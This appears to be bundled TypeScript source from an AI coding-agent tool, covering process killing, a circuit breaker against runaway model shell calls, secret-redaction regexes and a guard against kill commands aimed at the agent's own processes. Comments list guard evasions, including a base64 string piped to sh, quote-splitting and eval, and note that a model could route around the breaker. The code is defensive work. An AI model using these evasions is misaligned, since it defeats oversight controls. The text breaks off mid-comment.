(instant, all modes) and on TUI mount (applies persisted config).\n *\n * - `enabled` toggles whether the breaker gates `bash`/`exec`.\n * - `autoKillResetMs` arms the auto kill/reset countdown when the breaker\n * trips (0 = manual recovery only).\n *\n * Re-applies cleanly on every call: cancels a pending countdown when the\n * timeout is cleared or protection disabled, and re-arms if the breaker is\n * currently open under the new settings.\n */\n setBreakerConfig(cfg: { enabled?: boolean | undefined; autoKillResetMs?: number | undefined }): void {\n if (cfg.enabled !== undefined) this.breaker.setEnabled(cfg.enabled);\n if (cfg.autoKillResetMs !== undefined) this.autoKillResetMs = Math.max(0, cfg.autoKillResetMs);\n\n if (this.autoKillResetMs <= 0) {\n this._cancelAutoKillReset();\n return;\n }\n // If protection is active and the breaker is currently tripped, ensure a\n // countdown is armed for the new window (covers a live config change while\n // the breaker is already open).\n if (this.breaker.isEnabled && this.breaker.snapshot().state === 'open') {\n this._armAutoKillReset();\n }\n }\n\n /**\n * Live countdown to the next auto kill/reset, or null when nothing is armed.\n * The TUI polls this on a 1s tick while armed so the statusline decrements.\n */\n getBreakerCountdown(): BreakerCountdown | null {\n if (this.autoKillArmedAt === null || this.autoKillResetMs <= 0) return null;\n const elapsed = Date.now() - this.autoKillArmedAt;\n return { remainingMs: Math.max(0, this.autoKillResetMs - elapsed), totalMs: this.autoKillResetMs };\n }\n\n /**\n * Subscribe to countdown arm/cancel events. Returns an unsubscribe function.\n * Use {@link getBreakerCountdown} for the live ticking value between events.\n */\n onBreakerCountdownChange(listener: BreakerCountdownListener): () => void {\n this.breakerCountdownListeners.push(listener);\n return () => {\n this.breakerCountdownListeners = this.breakerCountdownListeners.filter((l) => l !== listener);\n };\n }\n\n private _emitBreakerCountdown(): void {\n const snap = this.getBreakerCountdown();\n for (const l of this.breakerCountdownListeners) {\n try {\n l(snap);\n } catch {\n /* listener failure must never affect breaker behavior */\n }\n }\n }\n\n /**\n * Arm the auto kill/reset countdown. Idempotent: re-arming resets the window\n * (a fresh trip after a failed half-open probe restarts the clock). No-op\n * when protection is off or no timeout is configured.\n */\n private _armAutoKillReset(): void {\n if (this.autoKillResetMs <= 0 || !this.breaker.isEnabled) return;\n this._clearAutoKillTimer();\n this.autoKillArmedAt = Date.now();\n this.autoKillTimer = setTimeout(() => {\n this.autoKillTimer = null;\n this.autoKillArmedAt = null;\n // Forced recovery: nuke runaway processes and reopen the circuit.\n this.killAll({ force: false });\n this.breaker.forceReset();\n this._emitBreakerCountdown();\n }, this.autoKillResetMs);\n // Don't keep the event loop alive purely for auto-recovery.\n this.autoKillTimer.unref?.();\n this._emitBreakerCountdown();\n }\n\n private _cancelAutoKillReset(): void {\n const wasArmed = this.autoKillArmedAt !== null;\n this._clearAutoKillTimer();\n if (wasArmed) {\n this.autoKillArmedAt = null;\n this._emitBreakerCountdown();\n }\n }\n\n private _clearAutoKillTimer(): void {\n if (this.autoKillTimer !== null) {\n clearTimeout(this.autoKillTimer);\n this.autoKillTimer = null;\n }\n }\n\n /** Kill a single process by PID.\n *\n * On POSIX: sends SIGTERM to the *process group* (-pid) so that\n * runaway grandchild processes (`sleep 9999 & disown`) are also killed.\n * After `graceMs` a SIGKILL is sent if the process hasn't exited.\n *\n * On Windows: `child.kill()` maps to TerminateProcess \u2014 process groups\n * are not meaningfully supported. A second `force=true` call sends\n * SIGKILL (which maps to TerminateProcess again \u2014 the distinction is\n * in the exit code, not the signal).\n *\n * Returns true if the process was found and kill was attempted.\n */\n kill(pid: number, opts: KillOpts = {}): boolean {\n this._pruneStale(pid);\n const p = this.processes.get(pid);\n if (!p) return false;\n if (p.killed) return true; // already kill()ed, don't double-send\n if (p.protected) return false; // protected processes are never kill()ed\n\n const { force = false, graceMs = DEFAULT_GRACE_MS } = opts;\n const isWin = os.platform() === 'win32';\n\n if (isWin) {\n // Windows: no process group semantics. A direct kill terminates only\n // the immediate child \u2014 shell-wrapped commands (cmd.exe /c \u2026) leave\n // grandchildren running that hold the inherited stdio pipes open and\n // keep feeding output into this process indefinitely. Kill the whole\n // tree via taskkill instead, but only for a real, still-running child\n // (exitCode === null); test fakes and already-exited processes take\n // the plain-kill path. The direct kill is deliberately NOT sent\n // immediately alongside taskkill: killing the root first would break\n // taskkill's parent-pid tree enumeration and orphan the grandchildren\n // again \u2014 it runs as a delayed fallback instead.\n const liveRealChild = p.child.exitCode === null && typeof p.child.pid === 'number';\n const directFallback = () => {\n if (p.child.exitCode === null) {\n try {\n p.child.kill('SIGKILL');\n } catch {\n // Process may have already exited.\n }\n }\n };\n if (\n liveRealChild &&\n killWin32Tree(pid, {\n timeoutMs: Math.max(graceMs, WIN32_TASKKILL_TIMEOUT_MS),\n onSettled: directFallback,\n })\n ) {\n // The direct fallback is intentionally chained from taskkill's\n // completion. Killing cmd.exe before taskkill has walked the tree can\n // orphan the real command and leave stdio pipes open forever.\n } else {\n try {\n p.child.kill(force ? 'SIGKILL' : 'SIGTERM');\n } catch {\n // Process may have already exited.\n }\n }\n p.killed = true;\n return true;\n }\n\n // POSIX: kill the process group only when the tracked child is proven to\n // be the group leader. Otherwise use child.kill(); negative PID signaling\n // with untrusted/fake PIDs can target unrelated host processes.\n try {\n if (force) {\n this._killPosix(p, 'SIGKILL');\n } else {\n this._killPosix(p, 'SIGTERM');\n // Schedule SIGKILL as backup.\n const timer = setTimeout(() => {\n // Re-check: process may have exited on its own.\n if (this.processes.has(pid) && !p.child.killed) {\n this._killPosix(p, 'SIGKILL');\n }\n }, graceMs);\n timer.unref?.(); // Don't keep event loop alive.\n }\n } catch {\n // Process may have already exited.\n }\n p.killed = true;\n return true;\n }\n\n /**\n * Kill all tracked processes.\n * Returns the PIDs that were kill()ed.\n */\n killAll(opts: KillOpts = {}): number[] {\n const pids = Array.from(this.processes.keys());\n const killed: number[] = [];\n for (const pid of pids) {\n const p = this.processes.get(pid);\n if (p && !p.protected && this.kill(pid, opts)) killed.push(pid);\n }\n return killed;\n }\n\n /**\n * Kill all processes for a specific session.\n * Returns the PIDs that were kill()ed.\n */\n killSession(sessionId: string, opts: KillOpts = {}): number[] {\n const pids = this.bySession(sessionId).map((p) => p.pid);\n const killed: number[] = [];\n for (const pid of pids) {\n if (this.kill(pid, opts)) killed.push(pid);\n }\n return killed;\n }\n\n /**\n * Check whether a tracked process entry is stale \u2014 the child has exited\n * (exitCode !== null) AND it's been in the registry long enough that the\n * OS may have reused the PID for a new, unrelated process.\n *\n * P3 #24 (before-release.md): on POSIX, PIDs are reused after process\n * exit. If a tracked process exits but its 'close' event hasn't fired yet\n * (or was missed), the registry still holds the entry. A new process\n * gets the same PID, and PID-based lookups (get, kill, shouldBlockKill)\n * may incorrectly protect or target the wrong process.\n *\n * The 60s threshold is conservative \u2014 the OS typically waits much longer\n * before reusing a PID, but we want to clean up before that becomes a risk.\n */\n private _isStaleEntry(entry: TrackedProcess): boolean {\n return entry.child.exitCode !== null && Date.now() - entry.startedAt > 60_000;\n }\n\n /**\n * Remove a stale entry for a specific PID before any PID-based lookup.\n * This prevents PID reuse from causing the registry to act on a dead\n * process that has been replaced by a new one with the same PID.\n */\n private _pruneStale(pid: number): void {\n const entry = this.processes.get(pid);\n if (entry && this._isStaleEntry(entry)) {\n this.processes.delete(pid);\n }\n }\n}\n\n/** Module-level singleton. Initialized on first access. */\nlet _registry: ProcessRegistryImpl | undefined;\n\nexport function getProcessRegistry(): ProcessRegistryImpl {\n if (!_registry) {\n _registry = new ProcessRegistryImpl();\n }\n return _registry;\n}\n\n/** Reset for tests. */\nexport function _resetProcessRegistry(): void {\n _registry = undefined;\n}\n\n// \u2500\u2500 Convenience re-exports \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nexport type { KillOpts };\n", "/**\n * CircuitBreaker \u2014 prevents runaway bash/exec tool chains by:\n *\n * - Tripping on consecutive failures (models that keep repeating the\n * same failing command, e.g. `npm install` with wrong args in a loop)\n * - Tripping on slow call ratio (too many long-running commands suggest\n * a hung subprocess that the model doesn't know how to kill)\n * - Rate-limiting bursts (rapid succession of commands without reading\n * output suggests the model isn't processing results)\n * - Auto-recovering after a cooldown period so a fixed model can resume\n *\n * The breaker is owned by the ProcessRegistry so any tool that registers\n * a process participates in the same circuit. \"Per-tool\" isolation is\n * intentionally NOT implemented \u2014 the model treats bash/exec as one\n * resource pool; isolating them would let the model route around the\n * breaker by alternating which tool it uses.\n */\n\nexport interface CircuitBreakerConfig {\n /**\n * Consecutive failures before trip. Default: 5.\n * A single success resets this counter to 0.\n */\n maxConsecutiveFailures?: number | undefined;\n /**\n * Slow-call threshold in ms. A call that runs longer than this is\n * counted as \"slow\". Default: 60_000 (1 minute).\n */\n slowCallThresholdMs?: number | undefined;\n /**\n * Max slow calls before trip (within the sliding window). Default: 3.\n */\n maxSlowCalls?: number | undefined;\n /**\n * Sliding window for rate-limit and slow-call counting, in ms.\n * Default: 60_000 (1 minute).\n */\n windowMs?: number | undefined;\n /**\n * Max calls within the sliding window. Default: 30.\n * Burst exceeding this trips the breaker immediately.\n */\n maxCallsPerWindow?: number | undefined;\n /**\n * Cooldown before auto-recovery attempt, in ms. Default: 30_000 (30s).\n * After this the breaker enters \"half-open\" state and allows one call\n * through to test whether the problem is resolved.\n */\n cooldownMs?: number | undefined;\n}\n\ninterface CallRecord {\n at: number;\n /** True if the call threw or returned an is_error result. */\n failed: boolean;\n /** True if elapsed time exceeded slowCallThresholdMs. */\n slow: boolean;\n}\n\ntype BreakerState = 'closed' | 'open' | 'half-open';\n\nconst DEFAULT_MAX_CONSECUTIVE_FAILURES = 5;\nconst DEFAULT_SLOW_CALL_THRESHOLD_MS = 180_000;\n// 3 minutes \u2014 balanced against the 5-minute bash timeout. Commands\n// running <3min are normal; 3-5min are \"slow\" and count toward the\n// breaker. 3 consecutive slow calls trip the circuit.\nconst DEFAULT_MAX_SLOW_CALLS = 3;\nconst DEFAULT_WINDOW_MS = 60_000;\nconst DEFAULT_MAX_CALLS_PER_WINDOW = 30;\nconst DEFAULT_COOLDOWN_MS = 30_000;\n\nexport interface CircuitBreakerSnapshot {\n state: 'closed' | 'open' | 'half-open';\n consecutiveFailures: number;\n slowCallsInWindow: number;\n callsInWindow: number;\n windowMs: number;\n cooldownRemainingMs: number | null;\n lastFailureAt: number | null;\n lastSlowAt: number | null;\n}\n\nexport class CircuitBreaker {\n private readonly maxConsecutiveFailures: number;\n private readonly slowCallThresholdMs: number;\n private readonly maxSlowCalls: number;\n private readonly windowMs: number;\n private readonly maxCallsPerWindow: number;\n private readonly cooldownMs: number;\n\n private state: BreakerState = 'closed';\n private consecutiveFailures = 0;\n private window: CallRecord[] = [];\n private lastFailureAt: number | null = null;\n private lastSlowAt: number | null = null;\n /** Timestamp when the breaker was opened (for cooldown calculation). */\n private openedAt: number | null = null;\n\n /**\n * Master enable flag. When false the breaker is bypassed: `beforeCall`\n * always returns true and `afterCall` records nothing. The class itself\n * defaults to enabled (so the standalone unit tests exercise tripping); the\n * ProcessRegistry flips this off until the user opts in via `/settings`.\n */\n private enabled = true;\n\n /**\n * Fired (best-effort) when the breaker transitions into the `open` state.\n * The registry uses this to arm its auto kill/reset countdown.\n */\n onTrip?: (() => void) | undefined;\n /**\n * Fired (best-effort) when the breaker returns to `closed` after having been\n * open/half-open. The registry uses this to cancel a pending kill/reset.\n */\n onReset?: (() => void) | undefined;\n\n constructor(config: CircuitBreakerConfig = {}) {\n this.maxConsecutiveFailures = config.maxConsecutiveFailures ?? DEFAULT_MAX_CONSECUTIVE_FAILURES;\n this.slowCallThresholdMs = config.slowCallThresholdMs ?? DEFAULT_SLOW_CALL_THRESHOLD_MS;\n this.maxSlowCalls = config.maxSlowCalls ?? DEFAULT_MAX_SLOW_CALLS;\n this.windowMs = config.windowMs ?? DEFAULT_WINDOW_MS;\n this.maxCallsPerWindow = config.maxCallsPerWindow ?? DEFAULT_MAX_CALLS_PER_WINDOW;\n this.cooldownMs = config.cooldownMs ?? DEFAULT_COOLDOWN_MS;\n }\n\n /** Toggle the master enable. Disabling resets to a clean `closed` state. */\n setEnabled(enabled: boolean): void {\n if (this.enabled === enabled) return;\n this.enabled = enabled;\n if (!enabled) this._reset();\n }\n\n get isEnabled(): boolean {\n return this.enabled;\n }\n\n /**\n * Returns true if the circuit allows a new call to proceed.\n * When false, callers should abort the tool call and return a\n * circuit-breaker error instead of spawning a process.\n */\n get canProceed(): boolean {\n if (!this.enabled) return true;\n this._checkStateTransition();\n return this.state !== 'open';\n }\n\n /**\n * Snapshot of the current breaker state for observability (`/kill`).\n */\n snapshot(): CircuitBreakerSnapshot {\n this._checkStateTransition();\n const now = Date.now();\n let cooldownRemaining: number | null = null;\n if (this.openedAt !== null && this.state === 'open') {\n const elapsed = now - this.openedAt;\n cooldownRemaining = Math.max(0, this.cooldownMs - elapsed);\n }\n return {\n state: this.state,\n consecutiveFailures: this.consecutiveFailures,\n slowCallsInWindow: this.window.filter((c) => c.slow).length,\n callsInWindow: this.window.length,\n windowMs: this.windowMs,\n cooldownRemainingMs: cooldownRemaining,\n lastFailureAt: this.lastFailureAt,\n lastSlowAt: this.lastSlowAt,\n };\n }\n\n /**\n * Call this BEFORE spawning a bash/exec process.\n * Returns true if the call is allowed; false if the breaker is open.\n * When false, callers MUST NOT spawn a process.\n *\n * @param bypass - If true, skip the circuit breaker check entirely.\n * Use for background/fire-and-forget processes that should\n * not affect breaker state.\n */\n beforeCall(bypass = false): boolean {\n if (bypass || !this.enabled) return true;\n this._checkStateTransition();\n if (this.state === 'open') return false;\n return true;\n }\n\n /**\n * Call this AFTER a bash/exec process finishes (success or failure).\n * `durationMs` is the wall-clock time the process ran.\n * `failed` is true when the process returned a non-zero exit code or\n * threw an exception before spawning.\n *\n * @param bypass - If true, do not update breaker state.\n * Use for background/fire-and-forget processes.\n */\n afterCall(durationMs: number, failed: boolean, bypass = false): void {\n if (bypass || !this.enabled) return;\n\n const now = Date.now();\n\n if (this.state === 'half-open') {\n // First call through after cooldown \u2014 if it failed, go back to open.\n if (failed) {\n this._trip();\n return;\n }\n // Success in half-open \u2192 reset to closed.\n this._reset();\n return;\n }\n\n // Prune old records outside the sliding window.\n this._pruneWindow(now);\n\n const slow = durationMs >= this.slowCallThresholdMs;\n this.window.push({ at: now, failed, slow });\n\n if (failed) {\n this.consecutiveFailures++;\n this.lastFailureAt = now;\n if (this.consecutiveFailures >= this.maxConsecutiveFailures) {\n this._trip();\n }\n return;\n }\n\n // Success: reset consecutive failure counter.\n this.consecutiveFailures = 0;\n\n if (slow) {\n this.lastSlowAt = now;\n const slowCount = this.window.filter((c) => c.slow).length;\n if (slowCount >= this.maxSlowCalls) {\n this._trip();\n }\n }\n\n const callCount = this.window.length;\n if (callCount >= this.maxCallsPerWindow) {\n // Rate limit exceeded. This is a soft trip \u2014 we reset the window\n // and let the next call try immediately (the caller will still see\n // canProceed=false until the window drains naturally).\n this._trip();\n }\n }\n\n /** Force the breaker open. Used by /kill force and Ctrl+C. */\n forceOpen(): void {\n this._trip();\n }\n\n /** Force a reset to closed. Used by tests and /kill reset. */\n forceReset(): void {\n this._reset();\n }\n\n private _trip(): void {\n if (this.state === 'open') return; // already open\n this.state = 'open';\n this.openedAt = Date.now();\n // P3 #23 (before-release.md): clear the window on trip. Old records are\n // irrelevant once tripped \u2014 the breaker starts fresh after cooldown\n // (half-open \u2192 closed resets the counters). Without this the window array\n // holds onto CallRecord entries for its lifetime if no new afterCall()\n // arrives (which is the case when the breaker stays open and no new calls\n // are attempted).\n this.window = [];\n // Best-effort: never let a listener failure corrupt breaker state.\n try {\n this.onTrip?.();\n } catch {\n /* ignored \u2014 observability hook only */\n }\n }\n\n private _reset(): void {\n const wasRecovering = this.state !== 'closed';\n this.state = 'closed';\n this.consecutiveFailures = 0;\n this.window = [];\n this.openedAt = null;\n // Only notify on a real recovery (open/half-open \u2192 closed), not on the\n // initial closed state or an idempotent re-reset.\n if (wasRecovering) {\n try {\n this.onReset?.();\n } catch {\n /* ignored \u2014 observability hook only */\n }\n }\n }\n\n /** Transition from open \u2192 half-open when cooldown elapses. */\n private _checkStateTransition(): void {\n if (this.state !== 'open' || this.openedAt === null) return;\n const elapsed = Date.now() - this.openedAt;\n if (elapsed >= this.cooldownMs) {\n this.state = 'half-open';\n this.openedAt = null;\n }\n }\n\n private _pruneWindow(now: number): void {\n const cutoff = now - this.windowMs;\n this.window = this.window.filter((c) => c.at >= cutoff);\n }\n}", "import { expectDefined } from '@wrongstack/core';\n\n// Sensitive CLI flag patterns that may appear in process command lines.\n// Redacted to [REDACTED] so crash dumps /ps output cannot leak secrets.\n// Split out of process-registry.ts so entries that only need the registry\n// (e.g. ps-slash) don't carry this module's dependencies.\n//\n// NOTE: @wrongstack/core carries its own copy (observability/redact-command.ts)\n// so the emitProcessStarted telemetry producer can redact command+args\n// centrally. Keep these two copies in sync when updating the patterns.\nconst SENSITIVE_FLAG_PATTERNS: RegExp[] = [\n // --flag=value or --flag \"value\" (value captured up to next space or comma)\n /--(?:token|password|passwd|pwd|secret|api[-_]?key|api[-_]?secret|auth|credential|private[-_]?key|access[-_]?key|github[-_]?token|gh[-_]?token|bearer|jwt|oauth|pin|pincode|passphrase|access[-_]?token)(?:[=\\s,][^\\s]*)?/gi,\n // -t short flag (token): attached (-tVALUE), separated (-t VALUE), or -t=VALUE.\n // (?<![-\\w]) anchors to a token start so we don't match the `-t` inside `--token`.\n // NOTE: synced with @wrongstack/core observability/redact-command.ts.\n /(?<![-\\w])-t(?:[=\\s]+)?[^\\s,-]+/,\n // -p|-password|-a (redis auth) short flags: attached + separated + =value.\n // Same token-start anchor; over-redaction is an accepted tradeoff for a\n // redaction function. Synced with core copy.\n /(?<![-\\w])-(?:password|p|a)(?:[=\\s]+)?[^\\s,-]+/gi,\n // env var\u2013style secrets: TOKEN=x, API_KEY=y, etc.\n /(?:TOKEN|API_KEY|API_SECRET|AUTH_TOKEN|GITHUB_TOKEN|GH_TOKEN|BEARER|JWT|OAUTH|CREDENTIAL|SECRET|PRIVATE_KEY|PASSWORD|PASSWD)\\s*[=:]\\s*[^\\s,]+/gi,\n // Generic high-entropy look: base64 strings >32 chars or hex strings >32 digits \u2014 but only\n // when preceded by a flag name (e.g. --github-token=EyJ...).\n /--\\w*(?:token|key|secret|password|passwd|auth|credential)\\w*[=\\s,][A-Za-z0-9+/=]{32,}/,\n];\n\n/**\n * Returns a display-safe copy of `cmd` with sensitive flag values replaced by [REDACTED].\n * The original string is unchanged; this is pure and has no side effects.\n */\nexport function redactCommand(cmd: string): string {\n let result = cmd;\n for (const pattern of SENSITIVE_FLAG_PATTERNS) {\n result = result.replace(pattern, (match) => {\n // Preserve the flag name portion; redact only the value part.\n // e.g. \"--token=sekrit_abc\" \u2192 \"--token=[REDACTED]\"\n const eq = match.indexOf('=');\n const sp = match.search(/\\s/);\n const delim = eq !== -1 ? '=' : sp !== -1 ? match[sp] : null;\n if (delim !== null) {\n const flag = match.slice(0, match.indexOf(expectDefined(delim)) + 1);\n return `${flag}[REDACTED]`;\n }\n // No delimitable separator found in the match.\n if (match.startsWith('--')) {\n // Long flag with no value attached (e.g. a bare \"--token\" argv token).\n // No secret here \u2014 leave it untouched so downstream pair-scan can still\n // recognize the bare flag. NOTE: keep this synced with\n // @wrongstack/core observability/redact-command.ts.\n return match;\n }\n // Short flag attached form (-pVALUE, -tVALUE, -aVALUE): flag name is the\n // leading -X (2 chars); redact everything after. Don't use a greedy\n // [a-zA-Z0-9_-]* flag-name match \u2014 value chars would be consumed into the\n // flag name and the secret would survive. Synced with core copy.\n return `${match.slice(0, 2)}[REDACTED]`;\n });\n }\n return result;\n}\n", "/**\n * Bash Kill Guard \u2014 Intercepts bash kill commands and prevents them from\n * terminating WrongStack processes (either the agent itself or child processes\n * it has spawned).\n *\n * This module hooks into the bash tool's command parsing to detect and block\n * dangerous kill commands targeting protected PIDs.\n *\n * Handles:\n * - Direct kill commands: kill -9 12345\n * - Shell -c wrapped: bash -c \"kill -9 12345\" (any shell path \u2014 see P2 #10)\n * - Full path kills: /bin/kill -9 12345\n * - Name-based kills: pkill, killall, pgrep\n * - Windows equivalents: taskkill\n *\n * Known bypasses (NOT handled \u2014 this is a static regex parser, not a shell):\n * Static analysis of shell strings is inherently defeatable by obfuscation.\n * This guard is one defense-in-depth layer behind the permission policy and\n * the project-escape checks, not the sole gate. Treat a miss here as expected,\n * not as a hole to plug with ever-more-clever regexes. The patterns below are\n * known to evade detection:\n * - Base64 / decode pipes: `echo bCAtOSAxMjM0NQ== | base64 -d | sh`\n * - Variable indirection: `sig=-9; target=12345; kill $sig $target`\n * - Command substitution: `$(printf kill) -9 12345`\n * - String concatenation / quote-splitting: `ki''ll -9 12345`, `k\"i\"ll 12345`\n * - Aliases and functions: `alias x=kill; x -9 12345`\n * - eval / source: `eval \"ki\"\"ll -9 12345\"`\n *\n * Mitigation: rely on the permission policy (confirm/deny gate) and YOLO\n * destructive detection as the primary controls; this guard is a best-effort\n * fast path for the common non-obfuscated forms.\n */\n\nimport * as os from 'node:os';\nimport { getPersistentProcessRegistry, type PersistentProcessEntry } from './process-registry-persistent.js';\n\nconst isWin = os.platform() === 'win32';\n\nexport interface KillCommand {\n pid?: number;\n name?: string;\n signal?: string;\n isGroupKill: boolean;\n isAllKill: boolean;\n originalCommand: string;\n}\n\nexport interface KillCheckResult {\n blocked: boolean;\n reason?: string;\n}\n\n/**\n * Extract the actual kill command from a shell-wrapped command.\n * e.g., \"bash -c 'kill -9 12345'\" -> \"kill -9 12345\"\n * e.g., \"/bin/bash -c \\\"pkill node\\\"\" -> \"pkill node\"\n *\n * P2 #10 (before-release.md): the path pattern now matches any executable\n * followed by `-c`, not just `/bin` and `/usr/bin`. Real systems often have\n * bash at `/usr/local/bin/bash`, `/opt/homebrew/bin/bash`, or invoke it via\n * `/usr/bin/env bash`. Previously these bypassed the guard entirely.\n */\nfunction extractKillCommand(command: string): string | null {\n const normalized = command.replace(/\\s+/g, ' ').trim();\n\n // Pattern: <any executable path or name> -c \"kill ...\" or 'kill ...'\n // Matches /bin/bash, /usr/local/bin/bash, /opt/homebrew/bin/bash,\n // /usr/bin/env bash, plain bash/sh/zsh, etc. The executable is any run of\n // non-whitespace, optionally followed by a space and a second token (for\n // the `/usr/bin/env bash` form) before `-c`.\n const shellCMatch = normalized.match(\n /^(?:\\S+(?:\\s+\\S+)?)?\\s+-c\\s+['\"](.+?)['\"]$/,\n );\n if (shellCMatch?.[1]) {\n const inner = shellCMatch[1].trim();\n // Recursively check the inner command\n return isKillRelatedCommand(inner) ? inner : null;\n }\n\n // Pattern: <executable> -c kill -9 12345 (without quotes)\n const shellCUnquoted = normalized.match(\n /^(?:\\S+(?:\\s+\\S+)?)?\\s+-c\\s+(kill(?:\\s+-[a-zA-Z]+)?(?:\\s+\\d+)+)$/,\n );\n if (shellCUnquoted?.[1]) {\n return shellCUnquoted[1];\n }\n\n return null;\n}\n\n/**\n * Check if a command string is kill-related (for filtering).\n */\nfunction isKillRelatedCommand(cmd: string): boolean {\n const normalized = cmd.toLowerCase().replace(/\\s+/g, ' ').trim();\n\n // P3 #25 (before-release.md): filter by platform so each platform only\n // checks the kill commands it can actually encounter. On Windows, POSIX\n // kill/pkill/killall are dead code (they don't exist on cmd.exe/pwsh); on\n // POSIX, taskkill/tskill are dead code. This lets a single test suite\n // pass on both platforms without platform-conditional assertions.\n if (isWin) {\n // Windows taskkill\n if (/^taskkill\\s/i.test(normalized)) return true;\n // Windows tskill\n if (/^tskill\\s/i.test(normalized)) return true;\n return false;\n }\n\n // POSIX\n // Direct kill commands\n if (/^kill(\\s|$)/.test(normalized)) return true;\n\n // Name-based kills\n if (/^(pkill|killall|pgrep|skill)\\s/.test(normalized)) return true;\n\n // Process-related commands that might target specific PIDs\n if (/^\\/proc\\/\\d+\\/(?:kill|fd)/.test(normalized)) return true;\n\n return false;\n}\n\n/**\n * Parse a kill command string to extract PID and signal.\n */\nexport function parseKillCommand(command: string): KillCommand | null {\n const normalized = command.replace(/\\s+/g, ' ').trim();\n\n // P3 #25 (before-release.md): skip parsing commands that don't exist on\n // the current platform. On Windows, kill/pkill/killall/pgrep are dead\n // branches; on POSIX, taskkill/tskill are dead branches. Filtering them\n // out here (not just in isKillRelatedCommand) avoids the regex match cost\n // and makes the test suite platform-independent.\n if (isWin) {\n // taskkill /PID 1234 or taskkill /F /PID 1234\n const taskkillMatch = normalized.match(/^taskkill\\s+(?:\\/[a-zA-Z]+\\s+)*\\/PID\\s+(\\d+)/i);\n if (taskkillMatch?.[1]) {\n const pidStr = taskkillMatch[1];\n return {\n pid: parseInt(pidStr, 10),\n signal: normalized.includes('/F') ? 'FORCE' : 'TERM',\n isGroupKill: false,\n isAllKill: false,\n originalCommand: command,\n };\n }\n\n // tskill PID\n const tskillMatch = normalized.match(/^tskill\\s+(\\d+)/i);\n if (tskillMatch?.[1]) {\n const pidStr = tskillMatch[1];\n return {\n pid: parseInt(pidStr, 10),\n signal: 'TERM',\n isGroupKill: false,\n isAllKill: false,\n originalCommand: command,\n };\n }\n\n return null;\n }\n\n // POSIX\n // Simple: kill -9 12345 or kill 12345\n const simpleMatch = normalized.match(/^kill\\s+(?:(-[a-zA-Z]+)\\s+)?(\\d+|-?\\d+)$/);\n if (simpleMatch) {\n const signal = simpleMatch[1] ?? '-TERM';\n const pidOrGroup = simpleMatch[2];\n if (!pidOrGroup) return null;\n const isGroupKill = pidOrGroup.startsWith('-');\n const pid = isGroupKill ? parseInt(pidOrGroup.slice(1), 10) : parseInt(pidOrGroup, 10);\n\n return {\n pid,\n signal: signal.slice(1),\n isGroupKill,\n isAllKill: false,\n originalCommand: command,\n };\n }\n\n // pkill name or pkill -signal name\n const pkillMatch = normalized.match(/^pkill\\s+(?:(-[a-zA-Z]+)\\s+)?(.+)$/);\n if (pkillMatch?.[2]) {\n const name = pkillMatch[2];\n const signalMatch = pkillMatch[1];\n return {\n name,\n signal: signalMatch ? signalMatch.slice(1) : 'TERM',\n isGroupKill: false,\n isAllKill: false,\n originalCommand: command,\n };\n }\n\n // killall name or killall -signal name\n const killallMatch = normalized.match(/^killall\\s+(?:(-[a-zA-Z]+)\\s+)?(.+)$/);\n if (killallMatch?.[2]) {\n const name = killallMatch[2];\n const signalMatch = killallMatch[1];\n return {\n name,\n signal: signalMatch ? signalMatch.slice(1) : 'TERM',\n isGroupKill: false,\n isAllKill: false,\n originalCommand: command,\n };\n }\n\n // pgrep returns PIDs (not a kill, but could be used with kill)\n const pgrepMatch = normalized.match(/^pgrep\\s+(.+)$/);\n if (pgrepMatch) {\n // pgrep by itself isn't dangerous, but log it\n return null;\n }\n\n return null;\n}\n\n/**\n * Get all protected process entries from the registry.\n */\nasync function getProtectedEntries(): Promise<PersistentProcessEntry[]> {\n const registry = getPersistentProcessRegistry();\n const status = await registry.getGlobalStatus();\n const entries: PersistentProcessEntry[] = [];\n\n for (const instanceEntries of status.instances.values()) {\n for (const entry of instanceEntries) {\n if (entry.protected && (Date.now() - entry.lastHeartbeat) < 30_000) {\n entries.push(entry);\n }\n }\n }\n\n return entries;\n}\n\n/**\n * Check if a parsed kill command targets a protected WrongStack process.\n */\nexport async function isKillProtected(kill: KillCommand): Promise<boolean> {\n const registry = getPersistentProcessRegistry();\n\n // For name-based kills, check if any protected process matches the name\n if (kill.name) {\n const entries = await getProtectedEntries();\n const killNameLower = kill.name.toLowerCase();\n\n for (const entry of entries) {\n if (entry.name?.toLowerCase().includes(killNameLower)) {\n return true;\n }\n }\n\n // Also check against our own hostname/process name patterns\n if (killNameLower.includes('wrongstack')) {\n return true;\n }\n if (killNameLower.includes('node') && entries.length > 0) {\n // Conservative: block pkill node if we have protected node processes\n return true;\n }\n return false;\n }\n\n // For group kills, block if any protected processes exist\n if (kill.isGroupKill) {\n const protectedPids = await registry.getAllProtectedPids();\n return protectedPids.length > 0;\n }\n\n // Single process kill - check if the target PID is protected\n if (kill.pid !== undefined) {\n return registry.shouldBlockKill(kill.pid);\n }\n\n return false;\n}\n\n/**\n * Main entry point: Check if a bash command contains a kill operation targeting protected PIDs.\n * Returns a result indicating whether to block and why.\n */\nexport async function checkAndBlockKillCommand(command: string): Promise<KillCheckResult> {\n const normalized = command.replace(/\\s+/g, ' ').trim();\n\n // First, extract any kill command from shell-wrapped commands\n const killCmd = extractKillCommand(normalized) || (isKillRelatedCommand(normalized) ? normalized : null);\n\n if (!killCmd) {\n return { blocked: false };\n }\n\n const parsed = parseKillCommand(killCmd);\n if (!parsed) {\n // It's kill-related but couldn't parse - conservative approach\n // e.g., complex pipelines involving kill\n if (killCmd.includes('kill') && /kill\\s+.*\\|/.test(killCmd)) {\n // kill piped to something - might be \"pkill node | xargs kill\"\n return {\n blocked: true,\n reason: `Blocked: complex kill pipeline detected \u2014 \"${killCmd.slice(0, 50)}...\"`,\n };\n }\n return { blocked: false };\n }\n\n if (await isKillProtected(parsed)) {\n let target: string;\n if (parsed.name) {\n target = `process name \"${parsed.name}\"`;\n } else if (parsed.pid !== undefined) {\n target = `PID ${parsed.pid}`;\n } else {\n target = '(unknown target)';\n }\n\n const signal = parsed.signal ? ` (${parsed.signal})` : '';\n const groupNote = parsed.isGroupKill ? ' (process group)' : '';\n return {\n blocked: true,\n reason: `Blocked: kill${signal} ${target}${groupNote} targets a protected WrongStack process.`,\n };\n }\n\n return { blocked: false };\n}\n\n/**\n * Get a safe error message for 